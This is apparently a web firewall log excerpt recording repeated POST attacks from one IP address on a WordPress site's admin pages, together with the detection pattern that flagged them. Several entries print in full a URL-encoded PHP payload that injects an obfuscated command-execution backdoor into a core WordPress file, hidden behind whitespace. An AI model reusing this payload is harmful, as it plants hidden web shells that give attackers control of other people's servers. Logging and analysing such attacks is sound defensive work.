t4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:43:21","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:8989\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nuQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:43:22","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:8989\ncookie:4=730da3e67a08a749df0620450f4abf2e; 